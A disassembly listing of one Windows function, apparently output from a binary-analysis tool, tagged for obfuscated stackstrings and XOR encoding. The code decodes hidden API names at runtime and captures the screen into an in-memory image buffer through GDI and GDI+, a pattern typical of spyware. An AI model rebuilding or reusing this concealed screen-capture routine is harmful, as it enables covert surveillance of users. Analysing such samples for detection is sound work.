Function at 0x14002b000
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x68]
sub rsp, 0x168
mov eax, dword [0x14009b098]
mov r12, rcx
mov dword [rbp - 0x50], 0xff001c
mov ebx, 0xff
mov dword [rbp - 0x4c], 0x5c001c
mov dword [rbp - 0x48], 0xd3009b
mov dword [rbp - 0x44], 0xed00e7
mov dword [rbp - 0x40], 0x93003f
test al, 1
jne 0x14002b07e
movups xmm0, xmmword [rbp - 0x50]
or eax, 1
mov byte [0x14009b034], 1
mov dword [0x14009b098], eax
lea rcx, [0x14007ea60]
mov eax, dword [rbp - 0x40]
movups xmmword [0x14009b020], xmm0
mov dword [0x14009b030], eax
call fcn.140054418
xor r15d, r15d
lea r9, [0x14009b020]
cmp byte [0x14009b034], r15b
je 0x14002b0c2
mov r8d, r15d
mov cl, r8b
movabs rdx, 0x8183fda96f799353
and cl, 7
shl cl, 3
shr rdx, cl
and dx, bx
xor word [r9 + r8*2], dx
inc r8
cmp r8, 0xa
jb 0x14002b094
mov byte [0x14009b034], r15b
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x14009b140]
mov r14d, 0x27
mov dword [rsp + 0x70], 0x270076
mov dword [rsp + 0x74], 0x790052
mov dword [rsp + 0x78], 0xa600cd
mov dword [rsp + 0x7c], 0xef001a
mov dword [rbp - 0x80], 0x2f0055
mov dword [rbp - 0x7c], 0x90057
test al, 1
jne 0x14002b13e
movups xmm0, xmmword [rsp + 0x70]
lea rcx, [0x14007ea40]
or eax, 1
movsd xmm1, qword [rbp - 0x80]
movaps xmmword [0x14009b0c0], xmm0
mov dword [0x14009b140], eax
mov byte [0x14009b0d8], 1
movsd qword [0x14009b0d0], xmm1
call fcn.140054418
cmp byte [0x14009b0d8], r15b
lea r9, [0x14009b0c0]
je 0x14002b17f
mov r8, r15
mov cl, r8b
movabs rdx, 0xc169d3a1093b4331
and cl, 7
shl cl, 3
shr rdx, cl
and dx, bx
xor word [r9 + r8*2], dx
inc r8
cmp r8, 0xc
jb 0x14002b151
mov byte [0x14009b0d8], r15b
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r8d, 0xe
mov dword [rbp + 0x40], 1
xorps xmm0, xmm0
mov qword [rbp + 0x48], r15
lea rdx, str.GdiplusStartup
mov qword [rbp + 0x50], r15
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x60], r8
lea esi, [r8 + 1]
mov r13, rax
mov qword [rsp + 0x68], rsi
movups xmmword [rsp + 0x50], xmm0
call fcn.14007c060
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x5e], r15b
call fcn.14002c2f8
xor r8d, r8d
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xc8]
call rax
mov rdx, qword [rsp + 0x68]
mov edi, 0x1000
cmp rdx, rsi
jbe 0x14002b222
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, rdi
jb 0x14002b21d
mov rcx, qword [rcx - 8]
add rdx, r14
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd41
call fcn.140054430
xorps xmm0, xmm0
mov qword [rbp - 0x78], rsi
mov r8d, 5
lea rdx, str.GetDC
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x80], r8
movups xmmword [rsp + 0x70], xmm0
call fcn.14007c060
lea rcx, [rsp + 0x70]
mov byte [rsp + 0x75], r15b
call fcn.14002c2f8
xor ecx, ecx
call rax
mov rdx, qword [rbp - 0x78]
mov rbx, rax
cmp rdx, rsi
jbe 0x14002b295
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, rdi
jb 0x14002b290
mov rcx, qword [rcx - 8]
add rdx, r14
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd47
call fcn.140054430
xorps xmm0, xmm0
mov qword [rbp - 0x80], r15
mov r8d, 0x12
mov qword [rbp - 0x78], rsi
lea rdx, str.CreateCompatibleDC
mov byte [rsp + 0x70], r15b
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x60], r15
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], r15
call fcn.14000a604
lea rcx, [rsp + 0x50]
call fcn.14002c2f8
mov rcx, rbx
call rax
mov rdx, qword [rsp + 0x68]
mov rdi, rax
cmp rdx, rsi
jbe 0x14002b318
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b313
mov rcx, qword [rcx - 8]
add rdx, r14
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd4d
call fcn.140054430
mov eax, 0xd
mov qword [rsp + 0x60], r15
xorps xmm0, xmm0
mov qword [rsp + 0x68], rsi
mov r8d, eax
mov byte [rsp + 0x50], r15b
lea rdx, str.GetDeviceCaps
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], rsi
movups xmmword [rbp - 0x70], xmm0
call fcn.14007c060
lea rcx, [rbp - 0x70]
mov byte [rbp - 0x63], r15b
call fcn.14002c2f8
mov edx, 8
mov rcx, rbx
call rax
mov rdx, qword [rbp - 0x58]
mov r14d, eax
cmp rdx, rsi
jbe 0x14002b3a2
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b39d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd53
call fcn.140054430
xorps xmm0, xmm0
mov qword [rbp - 0x58], rsi
mov r8d, 0xd
lea rdx, str.GetDeviceCaps
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x60], r8
movups xmmword [rbp - 0x70], xmm0
call fcn.14007c060
lea rcx, [rbp - 0x70]
mov byte [rbp - 0x63], r15b
call fcn.14002c2f8
mov edx, 0xa
mov rcx, rbx
call rax
mov rdx, qword [rbp - 0x58]
mov esi, eax
cmp rdx, 0xf
jbe 0x14002b41b
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b416
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd59
call fcn.140054430
xorps xmm0, xmm0
mov qword [rbp - 0x60], r15
mov r8d, 0x16
mov qword [rbp - 0x58], r15
lea rdx, str.CreateCompatibleBitmap
lea rcx, [rbp - 0x70]
movups xmmword [rbp - 0x70], xmm0
call fcn.14000a604
lea rcx, [rbp - 0x70]
call fcn.14002c2f8
mov r8d, esi
mov edx, r14d
mov rcx, rbx
call rax
mov rdx, qword [rbp - 0x58]
mov r15, rax
cmp rdx, 0xf
jbe 0x14002b492
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b48d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd5f
call fcn.140054430
and qword [rbp - 0x60], 0
lea rdx, str.SelectObject
xorps xmm0, xmm0
mov qword [rbp - 0x58], 0xf
mov r8d, 0xc
mov byte [rbp - 0x70], 0
lea rcx, [rbp - 0x38]
mov qword [rbp - 0x28], r8
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x20], 0xf
call fcn.14007c060
lea rcx, [rbp - 0x38]
mov byte [rbp - 0x2c], 0
call fcn.14002c2f8
mov rdx, r15
mov rcx, rdi
call rax
mov rdx, qword [rbp - 0x20]
mov r15, rax
cmp rdx, 0xf
jbe 0x14002b51f
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b51a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd65
call fcn.140054430
and qword [rbp - 0x28], 0
lea rdx, str.BitBlt
mov eax, 6
mov qword [rbp - 0x20], 0xf
xorps xmm0, xmm0
mov byte [rbp - 0x38], 0
mov r8d, eax
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 0xf
movups xmmword [rbp - 0x70], xmm0
call fcn.14007c060
lea rcx, [rbp - 0x70]
mov byte [rbp - 0x6a], 0
call fcn.14002c2f8
mov dword [rsp + 0x40], 0xcc0020
mov r9d, r14d
and dword [rsp + 0x38], 0
xor r8d, r8d
and dword [rsp + 0x30], 0
xor edx, edx
mov qword [rsp + 0x28], rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
call rax
mov rdx, qword [rbp - 0x58]
mov r14d, 0xf
cmp rdx, r14
jbe 0x14002b5d0
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b5cb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd6b
call fcn.140054430
mov eax, 0xc
mov qword [rbp - 0x58], r14
xorps xmm0, xmm0
mov qword [rbp - 0x60], rax
mov r8d, eax
lea rdx, str.SelectObject
lea rcx, [rbp - 0x70]
movups xmmword [rbp - 0x70], xmm0
call fcn.14007c060
lea rcx, [rbp - 0x70]
mov byte [rbp - 0x64], 0
call fcn.14002c2f8
mov rdx, r15
mov rcx, rdi
call rax
mov rdx, qword [rbp - 0x58]
mov rsi, rax
cmp rdx, r14
jbe 0x14002b649
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b644
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd71
call fcn.140054430
xor r15d, r15d
mov qword [rbp - 0x58], r14
xorps xmm0, xmm0
mov qword [rbp - 0x60], r15
lea rdx, str.DeleteDC
mov byte [rbp - 0x70], r15b
lea rcx, [rbp - 0x38]
mov qword [rbp - 0x20], r14
lea r8d, [r15 + 8]
mov qword [rbp - 0x28], r8
movups xmmword [rbp - 0x38], xmm0
call fcn.14007c060
lea rcx, [rbp - 0x38]
mov byte [rbp - 0x30], r15b
call fcn.14002c2f8
mov rcx, rdi
call rax
mov rdx, qword [rbp - 0x20]
mov edi, 0x1000
cmp rdx, r14
jbe 0x14002b6c8
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, rdi
jb 0x14002b6c3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd77
call fcn.140054430
mov eax, 8
mov qword [rsp + 0x68], r14
xorps xmm0, xmm0
mov qword [rsp + 0x60], rax
mov r8d, eax
lea rdx, str.DeleteDC
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
call fcn.14007c060
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x58], r15b
call fcn.14002c2f8
mov rcx, rbx
call rax
mov rdx, qword [rsp + 0x68]
cmp rdx, r14
jbe 0x14002b73f
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, rdi
jb 0x14002b73a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd7d
call fcn.140054430
xorps xmm0, xmm0
mov qword [rbp + 0xb8], r15
mov r8d, 0x15
mov qword [rsp + 0x60], r15
lea rdx, str.CreateStreamOnHGlobal
mov qword [rsp + 0x68], r15
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
call fcn.14000a604
lea rcx, [rsp + 0x50]
call fcn.14002c2f8
lea r8, [rbp + 0xb8]
mov edx, 1
xor ecx, ecx
call rax
mov rdx, qword [rsp + 0x68]
cmp rdx, r14
jbe 0x14002b7c1
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, rdi
jb 0x14002b7bc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd83
call fcn.140054430
mov eax, dword [0x14009b068]
movdqa xmm0, xmmword [0x14008d010]
mov qword [rbp + 0xc0], r15
mov dword [rbp - 0x80], 0xf898fd0b
mov dword [rbp - 0x7c], 0x180595f
mov dword [rbp - 0x78], 0x95a7ce00
test al, 1
jne 0x14002b828
or eax, 1
movaps xmmword [0x14009b0a0], xmm0
movsd xmm0, qword [rbp - 0x80]
lea rcx, [0x14007ea24]
mov dword [0x14009b068], eax
mov eax, dword [rbp - 0x78]
mov dword [0x14009b0b8], eax
mov byte [0x14009b0bc], 1
movsd qword [0x14009b0b0], xmm0
call fcn.140054418
cmp byte [0x14009b0bc], r15b
lea rdx, [0x14009b0a0]
je 0x14002b865
mov r9, r15
mov cl, r9b
movabs r8, 0x55c91b1795f78f4d
and cl, 7
shl cl, 3
shr r8, cl
xor byte [r9 + rdx], r8b
inc r9
cmp r9, 0x1c
jb 0x14002b83b
mov byte [0x14009b0bc], r15b
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14009b06c]
mov rbx, rax
movdqa xmm0, xmmword [0x14008d050]
mov dword [rbp - 0x80], 0xd4bca969
mov word [rbp - 0x7c], 0xaba4
test cl, 1
jne 0x14002b8c8
mov eax, dword [rbp - 0x80]
or ecx, 1
mov dword [0x14009b060], eax
movzx eax, word [rbp - 0x7c]
mov dword [0x14009b06c], ecx
lea rcx, [0x14007ea08]
mov word [0x14009b064], ax
mov byte [0x14009b066], 1
movaps xmmword [0x14009b050], xmm0
call fcn.140054418
cmp byte [0x14009b066], r15b
lea rdx, [0x14009b050]
je 0x14002b905
mov r9, r15
mov cl, r9b
movabs r8, 0x938babc9b5d9db1d
and cl, 7
shl cl, 3
shr r8, cl
xor byte [r9 + rdx], r8b
inc r9
cmp r9, 0x16
jb 0x14002b8db
mov byte [0x14009b066], r15b
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rbp + 0xc0]
xor edx, edx
mov rcx, rsi
mov rdi, rax
call rbx
xorps xmm0, xmm0
mov qword [rsp + 0x60], r14
mov r8, r14
mov qword [rsp + 0x68], r14
lea rdx, str.CLSIDFromString
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
call fcn.14007c060
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x5f], r15b
call fcn.14002c2f8
mov rbx, rax
mov dword [rbp - 0x10], 0x5e001c
mov eax, dword [0x14009b094]
mov ecx, 0xf7
mov dword [rbp - 0xc], 0x440038
mov dword [rbp - 8], 0xef0006
mov dword [rbp - 4], 0x5700c3
mov dword [rbp], 0x460051
mov dword [rbp + 4], 0x32003c
mov dword [rbp + 8], 0x9d0075
mov dword [rbp + 0xc], 0x5600da
mov dword [rbp + 0x10], 0x2f0056
mov dword [rbp + 0x14], 0x5e003e
mov dword [rbp + 0x18], 0xe8007c
mov dword [rbp + 0x1c], 0x5400c0
mov dword [rbp + 0x20], 0x5b004a
mov dword [rbp + 0x24], 0x43003d
mov dword [rbp + 0x28], 0xef0075
mov dword [rbp + 0x2c], 0x5600cf
mov dword [rbp + 0x30], 0x2d0022
mov dword [rbp + 0x34], 0x41003e
mov dword [rbp + 0x38], 0xd40000
test al, 1
jne 0x14002ba50
movaps xmm0, xmmword [rbp - 0x10]
or eax, 1
movaps xmm1, xmmword [rbp]
movaps xmmword [0x14009b0e0], xmm0
movaps xmm0, xmmword [rbp + 0x10]
movaps xmmword [0x14009b100], xmm0
movsd xmm0, qword [rbp + 0x30]
movaps xmmword [0x14009b0f0], xmm1
movaps xmm1, xmmword [rbp + 0x20]
mov dword [0x14009b094], eax
mov eax, dword [rbp + 0x38]
mov word [0x14009b12c], cx
lea rcx, [0x14007e9b4]
movsd qword [0x14009b120], xmm0
mov byte [0x14009b12e], 1
movaps xmmword [0x14009b110], xmm1
mov dword [0x14009b128], eax
call fcn.140054418
cmp byte [0x14009b12e], r15b
lea r9, [0x14009b0e0]
je 0x14002ba98
mov r8, r15
mov r10d, 0xff
mov cl, r8b
movabs rdx, 0x67f7a945730d6b67
and cl, 7
shl cl, 3
shr rdx, cl
and dx, r10w
xor word [r9 + r8*2], dx
inc r8
cmp r8, 0x27
jb 0x14002ba69
mov byte [0x14009b12e], r15b
lea rdx, [rbp - 0x50]
mov rcx, r9
call rbx
mov rdx, qword [rsp + 0x68]
mov r13d, 0x1000
cmp rdx, r14
jbe 0x14002badf
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, r13
jb 0x14002bada
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd89
call fcn.140054430
mov rdx, qword [rbp + 0xb8]
lea r8, [rbp - 0x50]
mov rcx, qword [rbp + 0xc0]
xor r9d, r9d
call rdi
xorps xmm0, xmm0
mov qword [rbp + 0xb0], r15
mov r8d, 0x14
mov qword [rsp + 0x60], r15
lea rdx, str.GetHGlobalFromStream
mov qword [rsp + 0x68], r15
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
call fcn.14000a604
lea rcx, [rsp + 0x50]
call fcn.14002c2f8
mov rcx, qword [rbp + 0xb8]
lea rdx, [rbp + 0xb0]
call rax
mov rdx, qword [rsp + 0x68]
cmp rdx, r14
jbe 0x14002bb78
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, r13
jb 0x14002bb73
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd8f
call fcn.140054430
mov eax, 0xa
mov qword [rsp + 0x68], r14
xorps xmm0, xmm0
mov qword [rsp + 0x60], rax
mov r8d, eax
lea rdx, str.GlobalSize
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
call fcn.14007c060
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x5a], r15b
call fcn.14002c2f8
mov rcx, qword [rbp + 0xb0]
call rax
mov rdx, qword [rsp + 0x68]
mov rdi, rax
cmp rdx, r14
jbe 0x14002bbf6
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, r13
jb 0x14002bbf1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd95
call fcn.140054430
movsxd rsi, edi
mov rcx, rsi
call fcn.140054464
xorps xmm0, xmm0
mov qword [rsp + 0x60], r15
mov r8d, 0xa
mov qword [rsp + 0x68], r15
lea rdx, str.GlobalLock
mov rbx, rax
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
call fcn.14000a604
lea rcx, [rsp + 0x50]
call fcn.14002c2f8
mov rcx, qword [rbp + 0xb0]
call rax
mov rdx, qword [rsp + 0x68]
mov r14, rax
cmp rdx, 0xf
jbe 0x14002bc7c
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, r13
jb 0x14002bc77
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd9b
call fcn.140054430
mov r8, rsi
mov qword [rsp + 0x60], r15
mov rdx, r14
mov qword [rsp + 0x68], 0xf
mov rcx, rbx
mov byte [rsp + 0x50], r15b
call fcn.14007c060
xorps xmm0, xmm0
mov qword [rsp + 0x60], r15
mov r8d, 0xc
mov qword [rsp + 0x68], r15
lea rdx, str.GlobalUnlock
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
call fcn.14000a604
lea rcx, [rsp + 0x50]
call fcn.140010508
mov rcx, qword [rbp + 0xb0]
call rax
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14002bd0e
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, r13
jb 0x14002bd09
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bd3b
call fcn.140054430
mov rcx, qword [rbp + 0xb8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, r12
mov qword [r12 + 8], rbx
mov dword [r12], edi
add rsp, 0x168
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3
call fcn.14005af0c
int3